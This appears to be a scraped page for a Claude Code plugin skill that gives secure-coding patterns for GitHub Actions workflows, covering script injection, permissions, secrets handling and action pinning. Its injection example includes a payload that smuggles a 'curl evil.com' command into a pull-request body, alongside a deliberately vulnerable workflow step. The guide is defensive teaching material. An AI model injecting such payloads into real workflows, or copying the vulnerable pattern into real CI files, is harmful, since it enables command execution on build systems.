From codeql-resolver
Canonical security patterns for GitHub Actions workflows
npx claudepluginhub jacobpevans/claude-code-plugins --plugin codeql-resolverThis skill uses the workspace's default tool permissions.
Best practices and canonical patterns for secure GitHub Actions workflows.
Creates isolated Git worktrees for feature branches with prioritized directory selection, gitignore safety checks, auto project setup for Node/Python/Rust/Go, and baseline verification.
Executes implementation plans in current session by dispatching fresh subagents per independent task, with two-stage reviews: spec compliance then code quality.
Dispatches parallel agents to independently tackle 2+ tasks like separate test failures or subsystems without shared state or dependencies.
Best practices and canonical patterns for secure GitHub Actions workflows.
Problem: Untrusted input (PR description, issue body, etc.) directly in run: command allows injection attacks.
Vulnerable Pattern:
- run: curl https://api.example.com -d "${{ github.event.pull_request.body }}"
Attack: If PR body is '; curl evil.com; #, the final command becomes:
curl https://api.example.com -d "'; curl evil.com; #"
Safe Pattern: Wrap untrusted input in environment variable
- name: Send Data
env:
PR_BODY: ${{ github.event.pull_request.body }}
run: curl https://api.example.com -d "$PR_BODY"
Why Safe: The untrusted value is now a shell variable, not part of the command syntax. Injection attack becomes literal string value.
Dangerous contexts to always wrap:
github.event.pull_request.bodygithub.event.pull_request.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.*.*.messagegithub.head_refReference: GitHub Blog: Catching GitHub Actions Workflow Injections
Principle: Request only minimum permissions needed.
Anti-pattern (excess permissions):
jobs:
build:
permissions:
contents: write # Only reads, not writes
pull-requests: write # Doesn't create/modify PRs
issues: write # Doesn't touch issues
Pattern (least-privilege):
jobs:
build:
permissions:
contents: read # Minimum for checkout
Why it matters:
Permission matrix reference: Use codeql-permission-classification skill
Rule: When calling reusable workflow, caller job must declare permissions for ALL nested jobs.
# ci-gate.yml (caller)
validate:
permissions:
contents: read # For nested jobs' checkout steps
pull-requests: write # For nested job that comments on PR
uses: ./.github/workflows/_validate.yml
# .github/workflows/_validate.yml (callee)
jobs:
run-checks:
permissions:
contents: read # Own permission
steps: ...
post-comment:
permissions:
pull-requests: write # Own permission
steps:
- uses: actions/github-script@v6
with:
script: github.rest.pulls.createReview({...})
Why: Reusable workflow's nested jobs use the caller's GITHUB_TOKEN. Caller must declare union of all nested permissions.
Safe Pattern: Use GitHub Secrets, reference via environment variable
- name: Deploy
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} # GitHub masks in logs
run: |
# Use $DEPLOY_KEY, never echo it
curl -H "Authorization: Bearer $DEPLOY_KEY" https://deploy.example.com
DO NOT:
Correct pattern:
# ✅ GOOD
- run: npm publish
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # GitHub masks in logs
# ❌ BAD
- run: echo "${{ secrets.NPM_TOKEN }}" | npm login # Don't echo!
# ❌ BAD
- run: npm publish --token abc123xyz # Hardcoded, visible in logs
Pattern: Upload artifacts with retention, clean up old ones
- name: Upload Coverage
uses: actions/upload-artifact@v6
with:
name: coverage-report
path: coverage/
retention-days: 7 # Auto-delete after 7 days
DO NOT:
Pattern: Use set -euo pipefail in multi-line scripts
- name: Build & Deploy
run: |
set -euo pipefail # Exit on error, undefined vars, pipe failures
npm install
npm run build
npm run deploy
What it does:
set -e: Exit immediately if any command failsset -u: Treat undefined variables as errorset -o pipefail: Pipe command fails if any step failsWhy: Prevents silent failures where script continues despite errors.
Pattern: Use if: conditions for optional steps
- name: Deploy to Production
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
run: ./deploy-prod.sh
- name: Deploy to Staging
if: github.event_name == 'pull_request'
run: ./deploy-staging.sh
Safe condition context:
github.event_name - Type of event (push, pull_request, etc.)github.ref - Current branch/tagjob.status - Previous job statusneeds.<job-id>.result - Result of dependencyDangerous contexts (never use unescaped):
github.event.pull_request.bodygithub.event.issue.titlePattern: Verify downloaded tools before running
- name: Download Tool
run: |
curl -O https://example.com/tool.tar.gz
echo "abc123def456..." > expected-checksum.txt
sha256sum -c expected-checksum.txt
tar -xzf tool.tar.gz
- name: Run Tool
run: ./tool --process data.txt
Why: Prevents running tampered or malicious binaries.
Pattern: Pin to specific versions, use hashes when possible
# ✅ GOOD - Specific version
- uses: actions/checkout@v6
# ❌ BAD - Latest version, could have breaking changes
- uses: actions/checkout@latest
# ✅ BEST - Specific commit hash (immutable)
- uses: actions/checkout@c85c95e3d7381db58e88eab11b5649be8dffe3b6
Note: GitHub Actions recommends semantic versioning (v6) but hash is most immutable.
Pattern: Log all significant actions for audit trail
- name: Start Deployment
run: |
echo "Deployment started at $(date -u +'%Y-%m-%dT%H:%M:%SZ')"
echo "Deploying to: ${{ github.event.deployment.environment }}"
echo "By: ${{ github.actor }}"
DO NOT:
Before committing a workflow:
env: blocks${{ secrets.* }}set -euo pipefailif: conditions use safe context (no user input)| Pitfall | Fix |
|---|---|
Missing permissions: block | Add explicit least-privilege permissions |
${{ github.event.body }} in run: | Wrap in env: variable |
Excess contents: write | Use contents: read unless truly needed |
No set -e in multi-line scripts | Add set -euo pipefail |
| Hardcoded credentials | Move to GitHub Secrets, reference via env: |
Actions at @latest | Pin to @v6 or @<commit-hash> |
Remember: Security in CI/CD is about preventing accidents AND malicious actions. These patterns protect against both.